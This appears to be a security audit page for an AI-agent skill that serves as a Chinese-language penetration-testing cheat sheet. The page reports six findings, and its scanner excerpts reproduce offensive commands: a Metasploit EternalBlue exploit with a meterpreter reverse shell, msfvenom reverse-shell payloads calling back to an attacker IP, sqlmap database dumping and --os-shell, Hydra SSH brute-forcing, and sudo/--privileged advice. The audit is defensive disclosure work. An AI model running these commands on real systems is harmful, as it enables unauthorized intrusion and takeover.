Back to skill

Security audit

渗透测试命令

Security checks for vulnerabilities and agentic risk

Overview

This is a disclosed penetration-testing command reference, but it includes directly actionable exploit, reverse-shell, brute-force, database-dump, and privileged-container guidance with exec access.

Install only in a controlled security-testing environment and use it only for systems where you have written authorization. Do not let an agent run these commands automatically, and avoid root or privileged-container execution unless a human has reviewed the exact target, scope, command, and containment plan.

Vulnerability Patterns
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (6)

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

Critical
Category
YARA Match
Confidence
98% confidence
Finding

The skill references Meterpreter payloads and Metasploit exploitation workflows, which are strong indicators of command-and-control and post-exploitation capability. In a skill that also exposes exec, this materially increases the risk that the agent can be used to facilitate compromise, persistence, or interactive control of target systems.

Content

Scanner excerpt · SKILL.md (reported line 99)May include surrounding context.

cript vuln nmap --script smb-enum-shares -p 445 nmap --script http-enum -p 80 nmap --script smb-vuln-ms17-010 nmap --script ssh-brute -p 22

text

### Metasploit 漏洞利用

**基础用法:**

```bash
msfconsole
search type:exploit name:smb
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOST <TARGET>
set PAYLOAD windows/meterpreter/reverse_tcp
exploit

Payload生成(msfvenom):

bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f exe > shell.exe
msfvenom -p php/reverse_php LHOST=<ATTACKER_IP> LPORT=4444 -f raw > shell.php

SQLMap 注入测试

bash
sqlmap -u "http://<TARGET>/page?id=1" --dbs
sqlmap -u "http://<TARGET>/page?id=1" -D database --tables
sqlmap -u "http://<TARGET>/page?id=1" -D database -T users --dump
sqlmap -u "http://<TARGET>/page?id=1" --os-shell
sqlmap -u "http://<TARGET>/page?id=1" --risk=3 --level=5

Hydra 密�

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High
Category
YARA Match
Confidence
90% confidence
Finding

This skill is an operational cheat sheet for offensive security tooling, including scanning, brute-force, exploitation, and post-compromise-oriented commands. Although it mentions authorized use, the content materially lowers the barrier to conducting intrusive actions, and the presence of exec tooling makes the guidance directly actionable inside an agent environment.

Content

Scanner excerpt · SKILL.md (reported line 57)May include surrounding context.

| 网络侦察 | 目标网段 | 开放端口和服务列表 | | 漏洞验证 | 已知CVE编号 | 利用结果和证据 | | 密码审计 | 哈希文件/协议 | 破解结果和弱密码列表 | | Web安全测试 | 目标URL | 漏洞发现和报告 | | 合规检查 | 授权范围 | 扫描结果和合规评估 |

核心命令参考

Nmap 网络扫描

主机发现:

bash
nmap -sn <TARGET>/24
nmap -sL <TARGET>/24

端口扫描:

bash
nmap -sS <TARGET>
nmap -sT <TARGET>
nmap -sU <TARGET>
nmap -p- <TARGET>
nmap -p 22,80,443 <TARGET>

服务检测:

bash
nmap -sV <TARGET>
nmap -O <TARGET>
nmap -A <TARGET>

NSE脚本:

bash
nmap --script vuln <TARGET>
nmap --script smb-enum-shares -p 445 <TARGET>
nmap --script http-enum -p 80 <TARGET>
nmap --script smb-vuln-ms17-010 <TARGET>
nmap --script ssh-brute -p 22 <TARGET>

Metasploit 漏洞利用

基础用法:

bash
msfconsole
search type

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
97% confidence
Finding

The skill includes msfvenom payload-generation examples that produce reverse-shell style artifacts. In context, this goes beyond passive education and provides directly weaponizable instructions that can facilitate unauthorized access or malware-like behavior, especially when combined with exec support.

Content

Scanner excerpt · SKILL.md (reported line 106)May include surrounding context.

http-enum -p 80 nmap --script smb-vuln-ms17-010 nmap --script ssh-brute -p 22

text

### Metasploit 漏洞利用

**基础用法:**

```bash
msfconsole
search type:exploit name:smb
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOST <TARGET>
set PAYLOAD windows/meterpreter/reverse_tcp
exploit

Payload生成(msfvenom):

bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f exe > shell.exe
msfvenom -p php/reverse_php LHOST=<ATTACKER_IP> LPORT=4444 -f raw > shell.php

SQLMap 注入测试

bash
sqlmap -u "http://<TARGET>/page?id=1" --dbs
sqlmap -u "http://<TARGET>/page?id=1" -D database --tables
sqlmap -u "http://<TARGET>/page?id=1" -D database -T users --dump
sqlmap -u "http://<TARGET>/page?id=1" --os-shell
sqlmap -u "http://<TARGET>/page?id=1" --risk=3 --level=5

Hydra 密码破解

bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://<TAR

Privileged Container / Container Escape

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

The documentation suggests using --privileged as a workaround for permission issues. In containerized agent environments, privileged mode can effectively disable key isolation controls and expose the host or sensitive runtime resources, making this far more dangerous than an ordinary troubleshooting tip.

Content

Scanner excerpt · SKILL.md (reported line 208)May include surrounding context.

md
| 错误场景 | 原因 | 处理方式 |
|---------|------|---------|
| nmap权限不足 | SYN扫描需root | 使用`sudo nmap`或`--privileged` |
| msfconsole启动慢 | 模块库大 | 使用`msfconsole -q`静默模式 |
| hydra连接重置 | 目标限制尝试 | 降低`-t`线程数,增加`-W`等待 |
| john格式错误 | 哈希格式不匹配 | 使用`--format=`指定正确格式 |

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The display name, summary, and description force a specific language/locale for users. The policy requires flagging language or locale restrictions unless the skill offers user choice or clearly justifies the constraint as region-specific, which is not present here.

Content

No source excerpt is available for this finding.

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
82% confidence
Finding

The skill explicitly recommends running commands with elevated privileges using sudo. In an agent skill with exec capability, normalizing privileged execution increases the chance that users or automated workflows run offensive network operations as root, magnifying the impact of mistakes, misuse, or command injection elsewhere in the execution chain.

Content

Scanner excerpt · SKILL.md (reported line 208)May include surrounding context.

md
| 错误场景 | 原因 | 处理方式 |
|---------|------|---------|
| nmap权限不足 | SYN扫描需root | 使用`sudo nmap`或`--privileged` |
| msfconsole启动慢 | 模块库大 | 使用`msfconsole -q`静默模式 |
| hydra连接重置 | 目标限制尝试 | 降低`-t`线程数,增加`-W`等待 |
| john格式错误 | 哈希格式不匹配 | 使用`--format=`指定正确格式 |